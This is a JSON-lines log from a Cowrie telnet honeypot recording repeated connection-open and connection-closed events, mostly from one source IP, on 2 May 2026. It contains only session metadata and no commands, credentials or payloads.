{"eventid":"cowrie.session.closed","duration":33.16726303100586,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:28.441851Z","src_ip":"23.111.140.22","session":"98a5a15636c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37161350250244,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:28.491318Z","src_ip":"23.111.140.22","session":"48c490efa66e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.558504819869995,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:28.974620Z","src_ip":"103.86.95.171","session":"32eb062d7326","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07671022415161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:29.232970Z","src_ip":"23.111.140.22","session":"87b24e4490e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51700,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a2f4fb6a667","protocol":"telnet","message":"New connection: 23.111.140.22:51700 (10.17.0.5:23) [session: 3a2f4fb6a667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:29.348125Z"}
{"eventid":"cowrie.session.closed","duration":0.004545688629150391,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:29.352532Z","src_ip":"23.111.140.22","session":"3a2f4fb6a667","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.994704246520996,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:29.608658Z","src_ip":"23.111.140.22","session":"6c136d212586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60236,"dst_ip":"10.17.0.5","dst_port":23,"session":"696e4735c3af","protocol":"telnet","message":"New connection: 23.111.140.22:60236 (10.17.0.5:23) [session: 696e4735c3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:29.613518Z"}
{"eventid":"cowrie.session.closed","duration":34.08742570877075,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:30.728262Z","src_ip":"23.111.140.22","session":"3a40fbe7c6c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.827731132507324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:30.754265Z","src_ip":"23.111.140.22","session":"28467aba2fc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30759835243225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:30.793355Z","src_ip":"23.111.140.22","session":"30d9774291ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.554904460906982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:30.803929Z","src_ip":"23.111.140.22","session":"6f36d018468f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50271773338318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:32.528986Z","src_ip":"23.111.140.22","session":"730e0f745b54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45278,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c8c50adca76","protocol":"telnet","message":"New connection: 23.111.140.22:45278 (10.17.0.5:23) [session: 9c8c50adca76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:33.087008Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45406,"dst_ip":"10.17.0.5","dst_port":23,"session":"24d24be289c7","protocol":"telnet","message":"New connection: 23.111.140.22:45406 (10.17.0.5:23) [session: 24d24be289c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:33.127322Z"}
{"eventid":"cowrie.session.closed","duration":30.60492253303528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:34.098158Z","src_ip":"23.111.140.22","session":"951a5f1f5a4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39376,"dst_ip":"10.17.0.5","dst_port":23,"session":"dde616f65eed","protocol":"telnet","message":"New connection: 23.111.140.22:39376 (10.17.0.5:23) [session: dde616f65eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:34.138241Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45424,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa112ee0bbb8","protocol":"telnet","message":"New connection: 23.111.140.22:45424 (10.17.0.5:23) [session: fa112ee0bbb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:34.142975Z"}
{"eventid":"cowrie.session.closed","duration":30.37183451652527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:34.185151Z","src_ip":"23.111.140.22","session":"7c951dd097dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48640,"dst_ip":"10.17.0.5","dst_port":23,"session":"3be160cdc726","protocol":"telnet","message":"New connection: 23.111.140.22:48640 (10.17.0.5:23) [session: 3be160cdc726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:34.261129Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47088,"dst_ip":"159.203.135.109","dst_port":23,"session":"294b4c3e89b1","protocol":"telnet","message":"New connection: 174.138.46.234:47088 (159.203.135.109:23) [session: 294b4c3e89b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:34.268842Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48692,"dst_ip":"10.17.0.5","dst_port":23,"session":"24e09cbacfa6","protocol":"telnet","message":"New connection: 23.111.140.22:48692 (10.17.0.5:23) [session: 24e09cbacfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:34.286278Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48974,"dst_ip":"10.17.0.5","dst_port":23,"session":"59da48635ba5","protocol":"telnet","message":"New connection: 23.111.140.22:48974 (10.17.0.5:23) [session: 59da48635ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:34.396359Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37382,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd3671d45ba4","protocol":"telnet","message":"New connection: 23.111.140.22:37382 (10.17.0.5:23) [session: fd3671d45ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:34.467624Z"}
{"eventid":"cowrie.session.closed","duration":31.73307752609253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:34.857197Z","src_ip":"23.111.140.22","session":"be4a457207bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.442325592041016,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:35.124355Z","src_ip":"23.111.140.22","session":"918be9d94175","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51806,"dst_ip":"10.17.0.5","dst_port":23,"session":"b911b6a20d32","protocol":"telnet","message":"New connection: 23.111.140.22:51806 (10.17.0.5:23) [session: b911b6a20d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:35.361178Z"}
{"eventid":"cowrie.session.closed","duration":31.374494314193726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:35.372684Z","src_ip":"23.111.140.22","session":"b3a6ae5e7dbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52218,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9db4936f71b","protocol":"telnet","message":"New connection: 23.111.140.22:52218 (10.17.0.5:23) [session: f9db4936f71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:35.514687Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52612,"dst_ip":"10.17.0.5","dst_port":23,"session":"a33150996ae0","protocol":"telnet","message":"New connection: 23.111.140.22:52612 (10.17.0.5:23) [session: a33150996ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:35.651443Z"}
{"eventid":"cowrie.session.closed","duration":34.87405967712402,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:35.964925Z","src_ip":"23.111.140.22","session":"a5370fd8abcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.875487804412842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:36.030568Z","src_ip":"23.111.140.22","session":"5482e430ff60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54288,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff86dafb20bb","protocol":"telnet","message":"New connection: 23.111.140.22:54288 (10.17.0.5:23) [session: ff86dafb20bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:36.201358Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55018,"dst_ip":"10.17.0.5","dst_port":23,"session":"113206934e23","protocol":"telnet","message":"New connection: 23.111.140.22:55018 (10.17.0.5:23) [session: 113206934e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:36.486431Z"}
{"eventid":"cowrie.session.closed","duration":31.107622861862183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:36.524727Z","src_ip":"23.111.140.22","session":"78c67f632f02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46629285812378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:36.591581Z","src_ip":"23.111.140.22","session":"6bfda8d59278","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.178351879119873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:36.640025Z","src_ip":"23.111.140.22","session":"b9582f41cafc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55426,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f3a8c78e273","protocol":"telnet","message":"New connection: 23.111.140.22:55426 (10.17.0.5:23) [session: 8f3a8c78e273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:36.648228Z"}
{"eventid":"cowrie.session.closed","duration":32.48561692237854,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:36.970555Z","src_ip":"23.111.140.22","session":"f323a9c2c47c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765393495559692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:37.072059Z","src_ip":"23.111.140.22","session":"d01dbb835669","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.750020265579224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:37.104110Z","src_ip":"23.111.140.22","session":"5b6959b70af8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56834,"dst_ip":"10.17.0.5","dst_port":23,"session":"31ae8dc27b51","protocol":"telnet","message":"New connection: 23.111.140.22:56834 (10.17.0.5:23) [session: 31ae8dc27b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:37.114349Z"}
{"eventid":"cowrie.session.closed","duration":31.00764226913452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:37.455977Z","src_ip":"23.111.140.22","session":"7bcd8b4f11b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55970525741577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:37.476310Z","src_ip":"23.111.140.22","session":"f4daa2e31ffe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.717954635620117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:37.788412Z","src_ip":"23.111.140.22","session":"ecf75c108376","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56500,"dst_ip":"10.17.0.5","dst_port":23,"session":"29db78207647","protocol":"telnet","message":"New connection: 23.111.140.22:56500 (10.17.0.5:23) [session: 29db78207647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:37.986279Z"}
{"eventid":"cowrie.session.closed","duration":32.018146991729736,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:38.164567Z","src_ip":"23.111.140.22","session":"43059c4901aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57318,"dst_ip":"10.17.0.5","dst_port":23,"session":"8088209e20e7","protocol":"telnet","message":"New connection: 23.111.140.22:57318 (10.17.0.5:23) [session: 8088209e20e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:38.302750Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33386,"dst_ip":"10.17.0.5","dst_port":23,"session":"01ae8082706c","protocol":"telnet","message":"New connection: 23.111.140.22:33386 (10.17.0.5:23) [session: 01ae8082706c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:38.802571Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33502,"dst_ip":"10.17.0.5","dst_port":23,"session":"e26b74b0c6a7","protocol":"telnet","message":"New connection: 23.111.140.22:33502 (10.17.0.5:23) [session: e26b74b0c6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:38.845061Z"}
{"eventid":"cowrie.session.closed","duration":53.37210965156555,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:39.192668Z","src_ip":"174.138.46.234","session":"a788ef0e7fec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842784643173218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:39.202461Z","src_ip":"23.111.140.22","session":"753fd1bfce96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.876282215118408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:39.368872Z","src_ip":"23.111.140.22","session":"6ac092a9adfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34001088142395,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:39.389558Z","src_ip":"23.111.140.22","session":"2d8e22174f04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35512,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f81fb294f8","protocol":"telnet","message":"New connection: 23.111.140.22:35512 (10.17.0.5:23) [session: 01f81fb294f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:39.533816Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":32856,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec6930827c42","protocol":"telnet","message":"New connection: 23.111.140.22:32856 (10.17.0.5:23) [session: ec6930827c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:39.609319Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53136,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fef2a3b866d","protocol":"telnet","message":"New connection: 23.111.140.22:53136 (10.17.0.5:23) [session: 1fef2a3b866d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:39.875186Z"}
{"eventid":"cowrie.session.closed","duration":31.321129083633423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:39.918198Z","src_ip":"23.111.140.22","session":"75e4978e8a07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36940,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f86619e95c9","protocol":"telnet","message":"New connection: 23.111.140.22:36940 (10.17.0.5:23) [session: 4f86619e95c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:39.964588Z"}
{"eventid":"cowrie.session.closed","duration":5.95655369758606,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:40.225334Z","src_ip":"174.138.46.234","session":"294b4c3e89b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34720,"dst_ip":"10.17.0.5","dst_port":23,"session":"22a9f2182f4c","protocol":"telnet","message":"New connection: 23.111.140.22:34720 (10.17.0.5:23) [session: 22a9f2182f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:40.256242Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38024,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc8004d31d0c","protocol":"telnet","message":"New connection: 23.111.140.22:38024 (10.17.0.5:23) [session: dc8004d31d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:40.356688Z"}
{"eventid":"cowrie.session.closed","duration":31.049649715423584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:40.770404Z","src_ip":"23.111.140.22","session":"fac3dda9e99a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39500,"dst_ip":"10.17.0.5","dst_port":23,"session":"55cd09b23409","protocol":"telnet","message":"New connection: 23.111.140.22:39500 (10.17.0.5:23) [session: 55cd09b23409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:40.860401Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49110,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3257346cfc0","protocol":"telnet","message":"New connection: 174.138.46.234:49110 (159.203.135.109:23) [session: f3257346cfc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:41.153412Z"}
{"eventid":"cowrie.session.closed","duration":30.989563941955566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:41.272593Z","src_ip":"23.111.140.22","session":"c039925353a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22622871398926,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:41.421380Z","src_ip":"23.111.140.22","session":"8cc4b25e3c48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079444646835327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:41.495364Z","src_ip":"23.111.140.22","session":"8ad726e885c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43072,"dst_ip":"10.17.0.5","dst_port":23,"session":"3077efd32185","protocol":"telnet","message":"New connection: 23.111.140.22:43072 (10.17.0.5:23) [session: 3077efd32185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:42.082870Z"}
{"eventid":"cowrie.session.closed","duration":31.001279830932617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:42.447232Z","src_ip":"23.111.140.22","session":"f05fc7bbd75c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46022,"dst_ip":"10.17.0.5","dst_port":23,"session":"92b3062e01a6","protocol":"telnet","message":"New connection: 23.111.140.22:46022 (10.17.0.5:23) [session: 92b3062e01a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:43.063488Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43306,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dab75a8b2ef","protocol":"telnet","message":"New connection: 23.111.140.22:43306 (10.17.0.5:23) [session: 1dab75a8b2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:43.202271Z"}
{"eventid":"cowrie.session.closed","duration":31.9150869846344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:43.294892Z","src_ip":"23.111.140.22","session":"22941dece946","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45660,"dst_ip":"10.17.0.5","dst_port":23,"session":"85d2f7eab9ee","protocol":"telnet","message":"New connection: 23.111.140.22:45660 (10.17.0.5:23) [session: 85d2f7eab9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:43.969942Z"}
{"eventid":"cowrie.session.closed","duration":32.579378843307495,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:44.077795Z","src_ip":"23.111.140.22","session":"2c8cd888468f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50008,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ae6a05a5f30","protocol":"telnet","message":"New connection: 23.111.140.22:50008 (10.17.0.5:23) [session: 1ae6a05a5f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:44.580630Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47486,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b3b6ac81ee1","protocol":"telnet","message":"New connection: 23.111.140.22:47486 (10.17.0.5:23) [session: 2b3b6ac81ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:44.669014Z"}
{"eventid":"cowrie.session.closed","duration":31.14313793182373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:44.696085Z","src_ip":"23.111.140.22","session":"4e0b21909d19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74381160736084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:44.780788Z","src_ip":"23.111.140.22","session":"ffa558e725a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.602115631103516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:44.887326Z","src_ip":"23.111.140.22","session":"113dfde8a17a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48772,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8bbe44e2c32","protocol":"telnet","message":"New connection: 23.111.140.22:48772 (10.17.0.5:23) [session: a8bbe44e2c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:45.087115Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58458,"dst_ip":"10.17.0.5","dst_port":23,"session":"2164aff621d1","protocol":"telnet","message":"New connection: 23.111.140.22:58458 (10.17.0.5:23) [session: 2164aff621d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:47.551703Z"}
{"eventid":"cowrie.session.closed","duration":32.21475100517273,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:47.676842Z","src_ip":"23.111.140.22","session":"4980284507e4","protocol":"telnet"}
